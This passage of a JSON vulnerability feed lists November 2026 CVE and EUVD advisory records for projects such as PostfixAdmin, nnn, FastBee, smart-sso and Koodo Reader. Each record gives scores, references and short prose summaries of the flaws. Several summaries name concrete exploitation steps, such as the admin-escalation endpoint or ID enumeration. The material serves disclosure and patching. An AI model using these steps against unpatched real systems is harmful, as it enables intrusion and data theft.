token.","published_time":"2026-11-03T15:17:17","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/HumanSignal/label-studio/security/advisories/GHSA-6437-7wc6-gmx5","https://github.com/HumanSignal/label-studio/commit/df96d79183156e556d91825d15fa7721f1145e1a","https://github.com/HumanSignal/label-studio-sdk/commit/c20c899aaaa302740dacd46a47e5774bb677561f","https://github.com/HumanSignal/label-studio/blob/1.23.1/label_studio/data_export/models.py#L160-L167","https://github.com/HumanSignal/label-studio-sdk/blob/2.1.1/src/label_studio_sdk/_extensions/label_studio_tools/core/utils/io.py#L62-L71","https://github.com/HumanSignal/label-studio-sdk/blob/2.1.1/src/label_studio_sdk/_extensions/label_studio_tools/core/utils/io.py#L299-L338","https://www.vulncheck.com/advisories/label-studio-before-1.23.2-ssrf-and-token-disclosure-via-image-export-downloads"],"products":["label-studio-sdk","label-studio"],"vendors":["HumanSignal"]},"ghsa":null},{"cve_id":"CVE-2026-121551","summary":"PostfixAdmin through 4.0.5 contains a stored cross-site scripting vulnerability that allows authenticated mailbox users to inject script by creating a TOTP exception with an unescaped description. When a global administrator views totp-exceptions.php, the script runs in the admin session and can issue authenticated admin requests using the page's CSRF token.","cvss":5.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":5.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/postfixadmin/postfixadmin","https://github.com/postfixadmin/postfixadmin/blob/v4.0.5/public/users/totp-exceptions.php#L128","https://github.com/postfixadmin/postfixadmin/blob/v4.0.5/templates/totp-exceptions.tpl#L56","https://github.com/postfixadmin/postfixadmin/commit/0a894b08769481ce1a7f0f42af901c6d9f88fa9c","https://github.com/postfixadmin/postfixadmin/issues/1185","https://github.com/postfixadmin/postfixadmin/pull/1172","https://github.com/postfixadmin/postfixadmin/pull/1186","https://www.vulncheck.com/advisories/postfixadmin-through-4.0.5-stored-xss-via-totp-exception-description"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:27","euvd":{"id":"EUVD-2026-115896","description":"PostfixAdmin through 4.0.5 contains a stored cross-site scripting vulnerability that allows authenticated mailbox users to inject script by creating a TOTP exception with an unescaped description. When a global administrator views totp-exceptions.php, the script runs in the admin session and can issue authenticated admin requests using the page's CSRF token.","published_time":"2026-11-03T15:17:10","cvss":5.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/postfixadmin/postfixadmin/issues/1185","https://github.com/postfixadmin/postfixadmin","https://github.com/postfixadmin/postfixadmin/commit/0a894b08769481ce1a7f0f42af901c6d9f88fa9c","https://github.com/postfixadmin/postfixadmin/blob/v4.0.5/public/users/totp-exceptions.php#L128","https://github.com/postfixadmin/postfixadmin/blob/v4.0.5/templates/totp-exceptions.tpl#L56","https://github.com/postfixadmin/postfixadmin/pull/1172","https://github.com/postfixadmin/postfixadmin/pull/1186","https://www.vulncheck.com/advisories/postfixadmin-through-4.0.5-stored-xss-via-totp-exception-description"],"products":["postfixadmin"],"vendors":["postfixadmin"]},"ghsa":null},{"cve_id":"CVE-2026-121552","summary":"Dromara domain-admin before 1.6.79 contains a missing authorization vulnerability in the POST /api/getGroupUserList handler that allows authenticated users to read other groups' members. Attackers can enumerate sequential group_id values to disclose member usernames, leader and edit-permission flags, and owner usernames of groups they do not belong to.","cvss":5.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.3,"cvss_v4":5.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/dromara/domain-admin","https://github.com/dromara/domain-admin/blob/v1.6.78/domain_admin/api/group_user_api.py#L127","https://github.com/dromara/domain-admin/commit/6245d002c995bf3868f73d77f69138df40f557a3","https://github.com/dromara/domain-admin/issues/229","https://www.vulncheck.com/advisories/domain-admin-before-1.6.79-missing-authorization-via-getgroupuserlist","https://github.com/dromara/domain-admin/issues/229"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:27","euvd":{"id":"EUVD-2026-115897","description":"Dromara domain-admin before 1.6.79 contains a missing authorization vulnerability in the POST /api/getGroupUserList handler that allows authenticated users to read other groups' members. Attackers can enumerate sequential group_id values to disclose member usernames, leader and edit-permission flags, and owner usernames of groups they do not belong to.","published_time":"2026-11-03T15:17:10","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/dromara/domain-admin/issues/229","https://github.com/dromara/domain-admin","https://github.com/dromara/domain-admin/commit/6245d002c995bf3868f73d77f69138df40f557a3","https://github.com/dromara/domain-admin/blob/v1.6.78/domain_admin/api/group_user_api.py#L127","https://www.vulncheck.com/advisories/domain-admin-before-1.6.79-missing-authorization-via-getgroupuserlist"],"products":["domain-admin"],"vendors":["dromara"]},"ghsa":null},{"cve_id":"CVE-2026-121553","summary":"Cotonti through 1.0.0 generates registration and email-change validation tokens with md5(microtime()), allowing attackers to bypass email-ownership verification by predicting tokens. Attackers can derive the generation time from the HTTP Date header and compute candidate tokens offline. They then submit these tokens to the users.register.php validate handler to activate accounts or confirm email addresses they do not control.","cvss":6.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.8,"cvss_v4":6.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Cotonti/Cotonti","https://github.com/Cotonti/Cotonti/blob/1.0.0/modules/users/inc/users.functions.php#L97","https://github.com/Cotonti/Cotonti/blob/1.0.0/modules/users/inc/users.profile.php#L116","https://github.com/Cotonti/Cotonti/blob/1.0.0/modules/users/inc/users.register.php#L148","https://github.com/Cotonti/Cotonti/issues/1904","https://github.com/Cotonti/Cotonti/pull/1905","https://www.vulncheck.com/advisories/cotonti-through-1.0.0-predictable-validation-tokens-via-md5-microtime"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:27","euvd":{"id":"EUVD-2026-115898","description":"Cotonti through 1.0.0 generates registration and email-change validation tokens with md5(microtime()), allowing attackers to bypass email-ownership verification by predicting tokens. Attackers can derive the generation time from the HTTP Date header and compute candidate tokens offline. They then submit these tokens to the users.register.php validate handler to activate accounts or confirm email addresses they do not control.","published_time":"2026-11-03T15:17:11","cvss":6.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/Cotonti/Cotonti/issues/1904","https://github.com/Cotonti/Cotonti","https://github.com/Cotonti/Cotonti/blob/1.0.0/modules/users/inc/users.functions.php#L97","https://github.com/Cotonti/Cotonti/blob/1.0.0/modules/users/inc/users.profile.php#L116","https://github.com/Cotonti/Cotonti/blob/1.0.0/modules/users/inc/users.register.php#L148","https://github.com/Cotonti/Cotonti/pull/1905","https://www.vulncheck.com/advisories/cotonti-through-1.0.0-predictable-validation-tokens-via-md5-microtime"],"products":["Cotonti"],"vendors":["Cotonti"]},"ghsa":null},{"cve_id":"CVE-2026-121554","summary":"cordova-plugin-advanced-http 1.5.0 through 3.3.1 contains an information disclosure vulnerability that leaks cookies to third-party hosts because the JavaScript layer passes jar-built Cookie headers as ordinary request headers. When a request is redirected to another host via an open or attacker-influenced redirect, native iOS and Android stacks forward the Cookie header, letting attackers hijack user sessions.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/silkimen/cordova-plugin-advanced-http","https://github.com/silkimen/cordova-plugin-advanced-http/blob/f6c3ea7f66fbe57770f53546e4af16a74bc2e0cf/src/ios/CordovaHttpPlugin.m#L88-L98","https://github.com/silkimen/cordova-plugin-advanced-http/blob/f6c3ea7f66fbe57770f53546e4af16a74bc2e0cf/www/helpers.js#L376","https://github.com/silkimen/cordova-plugin-advanced-http/commit/777a6f10939fd76ddf7f9fe029ae3fcaed850ca1","https://github.com/silkimen/cordova-plugin-advanced-http/pull/549","https://www.vulncheck.com/advisories/cordova-plugin-advanced-http-through-3.3.1-cookie-leak-via-cross-origin-redirects"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:27","euvd":{"id":"EUVD-2026-115899","description":"cordova-plugin-advanced-http 1.5.0 through 3.3.1 contains an information disclosure vulnerability that leaks cookies to third-party hosts because the JavaScript layer passes jar-built Cookie headers as ordinary request headers. When a request is redirected to another host via an open or attacker-influenced redirect, native iOS and Android stacks forward the Cookie header, letting attackers hijack user sessions.","published_time":"2026-11-03T15:17:12","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/silkimen/cordova-plugin-advanced-http/pull/549","https://github.com/silkimen/cordova-plugin-advanced-http/commit/777a6f10939fd76ddf7f9fe029ae3fcaed850ca1","https://github.com/silkimen/cordova-plugin-advanced-http","https://github.com/silkimen/cordova-plugin-advanced-http/blob/f6c3ea7f66fbe57770f53546e4af16a74bc2e0cf/www/helpers.js#L376","https://github.com/silkimen/cordova-plugin-advanced-http/blob/f6c3ea7f66fbe57770f53546e4af16a74bc2e0cf/src/ios/CordovaHttpPlugin.m#L88-L98","https://www.vulncheck.com/advisories/cordova-plugin-advanced-http-through-3.3.1-cookie-leak-via-cross-origin-redirects"],"products":["cordova-plugin-advanced-http"],"vendors":["silkimen"]},"ghsa":null},{"cve_id":"CVE-2026-121555","summary":"Foxel through 2.4.0 contains a missing authentication vulnerability that allows unauthenticated attackers to read files by requesting the /api/fs/stream and /api/fs/thumb endpoints. Attackers can supply a VFS mount prefix and relative path to retrieve full file contents or thumbnails across all mounts, bypassing PathRule permission grants.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/DrizzleTime/Foxel","https://github.com/DrizzleTime/Foxel/blob/v2.4.0/api/routers.py#L31","https://github.com/DrizzleTime/Foxel/blob/v2.4.0/domain/virtual_fs/api.py#L164-L182","https://github.com/DrizzleTime/Foxel/commit/73d9fa825e1004d37abb7b10faea0cd7f5bcb463","https://github.com/DrizzleTime/Foxel/issues/152","https://www.vulncheck.com/advisories/foxel-through-2.4.0-unauthenticated-file-read-via-api-fs-stream-and-api-fs-thumb"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:27","euvd":{"id":"EUVD-2026-115900","description":"Foxel through 2.4.0 contains a missing authentication vulnerability that allows unauthenticated attackers to read files by requesting the /api/fs/stream and /api/fs/thumb endpoints. Attackers can supply a VFS mount prefix and relative path to retrieve full file contents or thumbnails across all mounts, bypassing PathRule permission grants.","published_time":"2026-11-03T15:17:12","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/DrizzleTime/Foxel/issues/152","https://github.com/DrizzleTime/Foxel","https://github.com/DrizzleTime/Foxel/commit/73d9fa825e1004d37abb7b10faea0cd7f5bcb463","https://github.com/DrizzleTime/Foxel/blob/v2.4.0/domain/virtual_fs/api.py#L164-L182","https://github.com/DrizzleTime/Foxel/blob/v2.4.0/api/routers.py#L31","https://www.vulncheck.com/advisories/foxel-through-2.4.0-unauthenticated-file-read-via-api-fs-stream-and-api-fs-thumb"],"products":["Foxel"],"vendors":["DrizzleTime"]},"ghsa":null},{"cve_id":"CVE-2026-121556","summary":"FastBee through 2.1.0 contains an insecure direct object reference vulnerability in ProductController that allows authenticated tenant users to access other tenants' products by supplying their product IDs. Attackers can enumerate sequential product IDs to read MQTT account, password, and secret values, overwrite product configuration including tenant_id, or delete products with cascading rows.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/beecue/FastBee/commit/3393e3223965a9dc9682dfb2bd37635fffa0fbd2","https://github.com/beecue/FastBee/issues/32","https://github.com/kerwincui/FastBee","https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-open-api/src/main/java/com/fastbee/data/controller/ProductController.java#L77-L141","https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/ProductServiceImpl.java#L72-L92","https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/ProductMapper.xml#L37-L67","https://www.vulncheck.com/advisories/fastbee-through-2.1.0-idor-via-iot-product-by-id-endpoints"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:27","euvd":{"id":"EUVD-2026-115901","description":"FastBee through 2.1.0 contains an insecure direct object reference vulnerability in ProductController that allows authenticated tenant users to access other tenants' products by supplying their product IDs. Attackers can enumerate sequential product IDs to read MQTT account, password, and secret values, overwrite product configuration including tenant_id, or delete products with cascading rows.","published_time":"2026-11-03T15:17:13","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/beecue/FastBee/issues/32","https://github.com/kerwincui/FastBee","https://github.com/beecue/FastBee/commit/3393e3223965a9dc9682dfb2bd37635fffa0fbd2","https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-open-api/src/main/java/com/fastbee/data/controller/ProductController.java#L77-L141","https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-service/fastbee-iot-service/src/main/java/com/fastbee/iot/service/impl/ProductServiceImpl.java#L72-L92","https://github.com/kerwincui/FastBee/blob/v2.1.0/springboot/fastbee-service/fastbee-iot-service/src/main/resources/mapper/iot/ProductMapper.xml#L37-L67","https://www.vulncheck.com/advisories/fastbee-through-2.1.0-idor-via-iot-product-by-id-endpoints"],"products":["FastBee"],"vendors":["beecue"]},"ghsa":null},{"cve_id":"CVE-2026-121545","summary":"Dreeve before 5.8.0 contains a missing authentication vulnerability in StravaWebhookRequestHandler::handleEvent that allows unauthenticated attackers to forge Strava webhook events without signature, verify-token or owner_id checks. Attackers can send forged delete events with a known public Strava activity id to the webhook URL, causing permanent deletion of imported activities and their streams.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/dreeveapp/dreeve","https://github.com/dreeveapp/dreeve/blob/v5.7.0/src/Console/Strava/ProcessStravaWebhooksConsoleCommand.php","https://github.com/dreeveapp/dreeve/blob/v5.7.0/src/Controller/Strava/StravaWebhookRequestHandler.php#L64-L80","https://github.com/dreeveapp/dreeve/commit/1e88f7664a95ecbffd299195f4730a60fcd3181a","https://github.com/dreeveapp/dreeve/issues/2935","https://github.com/dreeveapp/dreeve/pull/2936","https://www.vulncheck.com/advisories/dreeve-before-5.8.0-missing-authentication-in-strava-webhook-post-handler"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:26","euvd":{"id":"EUVD-2026-115890","description":"Dreeve before 5.8.0 contains a missing authentication vulnerability in StravaWebhookRequestHandler::handleEvent that allows unauthenticated attackers to forge Strava webhook events without signature, verify-token or owner_id checks. Attackers can send forged delete events with a known public Strava activity id to the webhook URL, causing permanent deletion of imported activities and their streams.","published_time":"2026-11-03T15:17:05","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/dreeveapp/dreeve/issues/2935","https://github.com/dreeveapp/dreeve","https://github.com/dreeveapp/dreeve/commit/1e88f7664a95ecbffd299195f4730a60fcd3181a","https://github.com/dreeveapp/dreeve/blob/v5.7.0/src/Controller/Strava/StravaWebhookRequestHandler.php#L64-L80","https://github.com/dreeveapp/dreeve/blob/v5.7.0/src/Console/Strava/ProcessStravaWebhooksConsoleCommand.php","https://github.com/dreeveapp/dreeve/pull/2936","https://www.vulncheck.com/advisories/dreeve-before-5.8.0-missing-authentication-in-strava-webhook-post-handler"],"products":["dreeve"],"vendors":["robiningelbrecht"]},"ghsa":null},{"cve_id":"CVE-2026-121546","summary":"ruTorrent before 5.3.20 contains a path traversal vulnerability in the datadir plugin that allows authenticated users to escape the topDirectory jail because correctDirectory() does not resolve symbolic links. Attackers can submit a datadir path through a symlink under their top directory to create directories and move torrent data to locations writable by the web server or rtorrent.","cvss":6.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.9,"cvss_v4":6.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Novik/ruTorrent","https://github.com/Novik/ruTorrent/blob/v5.3.19/php/settings.php#L526-L541","https://github.com/Novik/ruTorrent/blob/v5.3.19/plugins/datadir/action.php#L60","https://github.com/Novik/ruTorrent/commit/2059ff12464b2ce14fd0f53df8d6b19fb6b8a5eb","https://github.com/Novik/ruTorrent/issues/3474","https://www.vulncheck.com/advisories/rutorrent-before-5.3.20-path-traversal-via-datadir-plugin-symlink-following"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:26","euvd":{"id":"EUVD-2026-115891","description":"ruTorrent before 5.3.20 contains a path traversal vulnerability in the datadir plugin that allows authenticated users to escape the topDirectory jail because correctDirectory() does not resolve symbolic links. Attackers can submit a datadir path through a symlink under their top directory to create directories and move torrent data to locations writable by the web server or rtorrent.","published_time":"2026-11-03T15:17:06","cvss":6.0,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/Novik/ruTorrent/issues/3474","https://github.com/Novik/ruTorrent","https://github.com/Novik/ruTorrent/commit/2059ff12464b2ce14fd0f53df8d6b19fb6b8a5eb","https://github.com/Novik/ruTorrent/blob/v5.3.19/plugins/datadir/action.php#L60","https://github.com/Novik/ruTorrent/blob/v5.3.19/php/settings.php#L526-L541","https://www.vulncheck.com/advisories/rutorrent-before-5.3.20-path-traversal-via-datadir-plugin-symlink-following"],"products":["ruTorrent"],"vendors":["Novik"]},"ghsa":null},{"cve_id":"CVE-2026-121547","summary":"Canop dysk before 3.8.2 contains a terminal escape sequence injection vulnerability that allows local users to inject control sequences by crafting mount metadata rendered unsanitized in table and CSV output. Attackers can create FUSE mounts with ESC/OSC sequences in mount-point names or fsname, causing spoofed or hidden output and window-title changes when another user runs dysk.","cvss":1.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":2.2,"cvss_v4":1.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Canop/dysk","https://github.com/Canop/dysk/blob/v3.8.1/cli/src/table.rs#L60-L75","https://github.com/Canop/dysk/commit/726f4f554d7c1ede21363c29b593ab130ca28d86","https://github.com/Canop/dysk/issues/125","https://github.com/Canop/dysk/pull/126","https://www.vulncheck.com/advisories/dysk-before-3.8.2-terminal-escape-sequence-injection-via-mount-metadata"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:26","euvd":{"id":"EUVD-2026-115892","description":"Canop dysk before 3.8.2 contains a terminal escape sequence injection vulnerability that allows local users to inject control sequences by crafting mount metadata rendered unsanitized in table and CSV output. Attackers can create FUSE mounts with ESC/OSC sequences in mount-point names or fsname, causing spoofed or hidden output and window-title changes when another user runs dysk.","published_time":"2026-11-03T15:17:07","cvss":1.0,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/Canop/dysk/issues/125","https://github.com/Canop/dysk","https://github.com/Canop/dysk/commit/726f4f554d7c1ede21363c29b593ab130ca28d86","https://github.com/Canop/dysk/blob/v3.8.1/cli/src/table.rs#L60-L75","https://github.com/Canop/dysk/pull/126","https://www.vulncheck.com/advisories/dysk-before-3.8.2-terminal-escape-sequence-injection-via-mount-metadata"],"products":["dysk"],"vendors":["Canop"]},"ghsa":null},{"cve_id":"CVE-2026-121548","summary":"Jarun nnn through 5.3 contains an OS command injection vulnerability in plugins/togglex that allows attackers to execute commands via crafted filenames. Attackers can place files whose names contain a double quote and shell syntax, which xargs -I splices into an sh -c script, running commands as the user invoking togglex.","cvss":8.4,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":7.8,"cvss_v4":8.4,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/jarun/nnn","https://github.com/jarun/nnn/blob/v5.3/plugins/togglex#L15","https://github.com/jarun/nnn/commit/04715921aece0257fef7a8558c0783493d98efff","https://github.com/jarun/nnn/issues/2188","https://www.vulncheck.com/advisories/nnn-through-5.3-os-command-injection-via-togglex-plugin","https://github.com/jarun/nnn/issues/2188"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:26","euvd":{"id":"EUVD-2026-115893","description":"Jarun nnn through 5.3 contains an OS command injection vulnerability in plugins/togglex that allows attackers to execute commands via crafted filenames. Attackers can place files whose names contain a double quote and shell syntax, which xargs -I splices into an sh -c script, running commands as the user invoking togglex.","published_time":"2026-11-03T15:17:08","cvss":8.4,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/jarun/nnn/issues/2188","https://github.com/jarun/nnn","https://github.com/jarun/nnn/commit/04715921aece0257fef7a8558c0783493d98efff","https://github.com/jarun/nnn/blob/v5.3/plugins/togglex#L15","https://www.vulncheck.com/advisories/nnn-through-5.3-os-command-injection-via-togglex-plugin"],"products":["nnn"],"vendors":["jarun"]},"ghsa":null},{"cve_id":"CVE-2026-121549","summary":"nnn through 5.3 contains an insecure temporary file vulnerability in the pdfread and nuke plugins that allows local attackers to overwrite files by exploiting predictable paths in /tmp. Attackers can pre-create a symlink at the name-derived or PID-derived path so the victim's plugin truncates and overwrites any file the victim can write.","cvss":4.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.4,"cvss_v4":4.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/jarun/nnn","https://github.com/jarun/nnn/blob/v5.3/plugins/nuke#L280","https://github.com/jarun/nnn/blob/v5.3/plugins/pdfread#L9-L10","https://github.com/jarun/nnn/commit/04715921aece0257fef7a8558c0783493d98efff","https://github.com/jarun/nnn/issues/2188","https://www.vulncheck.com/advisories/nnn-through-5.3-insecure-temporary-file-symlink-overwrite-via-pdfread-and-nuke-plugins"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:26","euvd":{"id":"EUVD-2026-115894","description":"nnn through 5.3 contains an insecure temporary file vulnerability in the pdfread and nuke plugins that allows local attackers to overwrite files by exploiting predictable paths in /tmp. Attackers can pre-create a symlink at the name-derived or PID-derived path so the victim's plugin truncates and overwrites any file the victim can write.","published_time":"2026-11-03T15:17:08","cvss":4.1,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/jarun/nnn/issues/2188","https://github.com/jarun/nnn","https://github.com/jarun/nnn/commit/04715921aece0257fef7a8558c0783493d98efff","https://github.com/jarun/nnn/blob/v5.3/plugins/pdfread#L9-L10","https://github.com/jarun/nnn/blob/v5.3/plugins/nuke#L280","https://www.vulncheck.com/advisories/nnn-through-5.3-insecure-temporary-file-symlink-overwrite-via-pdfread-and-nuke-plugins"],"products":["nnn"],"vendors":["jarun"]},"ghsa":null},{"cve_id":"CVE-2026-121550","summary":"nnn through 5.3 contains an insecure file handling vulnerability that allows local attackers to redirect writes because main() accepts an existing NNN_FIFO path without verifying it is a FIFO. Attackers can pre-create the documented predictable /tmp/nnn.fifo path as a symlink or readable regular file, causing victim-writable files to be overwritten or leaking the victim's browsed paths.","cvss":1.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":3.3,"cvss_v4":1.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/jarun/nnn","https://github.com/jarun/nnn/blob/v5.3/src/nnn.c#L10635","https://github.com/jarun/nnn/blob/v5.3/src/nnn.c#L7433","https://github.com/jarun/nnn/commit/04715921aece0257fef7a8558c0783493d98efff","https://github.com/jarun/nnn/issues/2188","https://www.vulncheck.com/advisories/nnn-through-5.3-symlink-following-write-via-nnn-fifo-handling"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:26","euvd":{"id":"EUVD-2026-115895","description":"nnn through 5.3 contains an insecure file handling vulnerability that allows local attackers to redirect writes because main() accepts an existing NNN_FIFO path without verifying it is a FIFO. Attackers can pre-create the documented predictable /tmp/nnn.fifo path as a symlink or readable regular file, causing victim-writable files to be overwritten or leaking the victim's browsed paths.","published_time":"2026-11-03T15:17:09","cvss":1.0,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/jarun/nnn/issues/2188","https://github.com/jarun/nnn","https://github.com/jarun/nnn/commit/04715921aece0257fef7a8558c0783493d98efff","https://github.com/jarun/nnn/blob/v5.3/src/nnn.c#L10635","https://github.com/jarun/nnn/blob/v5.3/src/nnn.c#L7433","https://www.vulncheck.com/advisories/nnn-through-5.3-symlink-following-write-via-nnn-fifo-handling"],"products":["nnn"],"vendors":["jarun"]},"ghsa":null},{"cve_id":"CVE-2026-121543","summary":"smart-sso through 2.0.1 contains an incorrect authorization vulnerability in PermissionFilter that allows any authenticated user to call admin console APIs because unlisted paths are permitted by default. Attackers can call /admin/user-role/save to assign themselves the administrator role, reset passwords, and manage users, roles, and applications across integrated systems.","cvss":8.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":8.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/a466350665/smart-sso","https://github.com/a466350665/smart-sso/blob/91d2dfef8973d308fa1b762e4c86dfbcbe9793ff/smart-sso-server/src/main/java/openjoe/smart/sso/server/controller/admin/UserRoleController.java","https://github.com/a466350665/smart-sso/blob/91d2dfef8973d308fa1b762e4c86dfbcbe9793ff/smart-sso-starter/smart-sso-starter-client/src/main/java/openjoe/smart/sso/client/filter/PermissionFilter.java#L38-L47","https://github.com/a466350665/smart-sso/commit/9bccabaa5ec5","https://github.com/a466350665/smart-sso/commit/a74a791bea7fc7b06ce95f52ce5805d8d7886d48","https://github.com/a466350665/smart-sso/issues/79","https://www.vulncheck.com/advisories/smart-sso-through-2.0.1-incorrect-authorization-in-permissionfilter-enables-admin-escalation"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:25","euvd":{"id":"EUVD-2026-115888","description":"smart-sso through 2.0.1 contains an incorrect authorization vulnerability in PermissionFilter that allows any authenticated user to call admin console APIs because unlisted paths are permitted by default. Attackers can call /admin/user-role/save to assign themselves the administrator role, reset passwords, and manage users, roles, and applications across integrated systems.","published_time":"2026-11-03T15:17:04","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://github.com/a466350665/smart-sso/issues/79","https://github.com/a466350665/smart-sso","https://github.com/a466350665/smart-sso/commit/9bccabaa5ec5","https://github.com/a466350665/smart-sso/blob/91d2dfef8973d308fa1b762e4c86dfbcbe9793ff/smart-sso-starter/smart-sso-starter-client/src/main/java/openjoe/smart/sso/client/filter/PermissionFilter.java#L38-L47","https://github.com/a466350665/smart-sso/blob/91d2dfef8973d308fa1b762e4c86dfbcbe9793ff/smart-sso-server/src/main/java/openjoe/smart/sso/server/controller/admin/UserRoleController.java","https://github.com/a466350665/smart-sso/commit/a74a791bea7fc7b06ce95f52ce5805d8d7886d48","https://www.vulncheck.com/advisories/smart-sso-through-2.0.1-incorrect-authorization-in-permissionfilter-enables-admin-escalation"],"products":["Smart-SSO"],"vendors":["a466350665"]},"ghsa":null},{"cve_id":"CVE-2026-121544","summary":"Koodo Reader through 2.4.6 contains a path traversal vulnerability in the self-hosted HTTP server's OPDS handlers that allows authenticated attackers to read files outside the upload directory. Attackers can upload a crafted books.db with a cover value containing ../ sequences, then request /opds/cover/{key} to read files accessible to the server process.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":4.9,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/koodo-reader/koodo-reader","https://github.com/koodo-reader/koodo-reader/blob/v2.4.6/httpserver/opds.go#L167-L194","https://github.com/koodo-reader/koodo-reader/blob/v2.4.6/httpserver/opds.go#L384-L431","https://github.com/koodo-reader/koodo-reader/commit/cbc79a1ab5cbbd61c8252d6ab3cc6dbb694663b8","https://github.com/koodo-reader/koodo-reader/compare/205539043b0a2afd9fd8bf99ef8434bd1833c2bf...cbc79a1ab5cbbd61c8252d6ab3cc6dbb694663b8","https://github.com/koodo-reader/koodo-reader/issues/1654","https://www.vulncheck.com/advisories/koodo-reader-through-2.4.6-path-traversal-via-opds-cover-and-download-handlers","https://github.com/koodo-reader/koodo-reader/issues/1654"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T16:17:25","euvd":{"id":"EUVD-2026-115889","description":"Koodo Reader through 2.4.6 contains a path traversal vulnerability in the self-hosted HTTP server's OPDS handlers that allows authenticated attackers to read files outside the upload directory. Attackers can upload a crafted books.db with a cover value containing ../ sequences, then request /opds/cover/{key} to read files accessible to the server 